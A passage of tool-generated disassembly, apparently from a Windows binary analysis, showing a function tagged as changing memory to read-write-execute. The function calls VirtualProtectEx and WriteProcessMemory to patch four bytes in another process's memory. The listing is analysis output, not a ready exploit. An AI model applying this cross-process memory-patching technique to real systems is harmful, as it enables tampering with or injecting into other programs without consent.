mov rcx, qword [rsp + 0x20]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
mov eax, ebx
mov rcx, qword [rsp + 0x28]
xor rcx, rsp
call fcn.14007ffe0
add rsp, 0x30
pop r14
pop rbp
pop rbx
ret

Function at 0x140036330
Capabilities:
Allocate or change rwx memory

Disassembly:
push rbx
sub rsp, 0x50
mov rax, qword [0x140138010]
xor rax, rsp
mov qword [rsp + 0x40], rax
mov r9d, 0x40
mov ebx, ecx
lea rax, [rsp + 0x38]
mov edx, ecx
mov rcx, qword [0x1401b54c0]
movss dword [rsp + 0x30], xmm1
lea r8d, [r9 - 0x3c]
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
mov rcx, qword [0x1401b54c0]
lea r8, [rsp + 0x30]
mov r9d, 4
mov qword [rsp + 0x20], 0
mov edx, ebx
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov r9d, dword [rsp + 0x38]
mov r8d, 4
mov rcx, qword [0x1401b54c0]
mov edx, ebx
mov qword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
mov rcx, qword [rsp + 0x40]
xor rcx, rsp
call fcn.14007ffe0
add rsp, 0x50
pop rbx
ret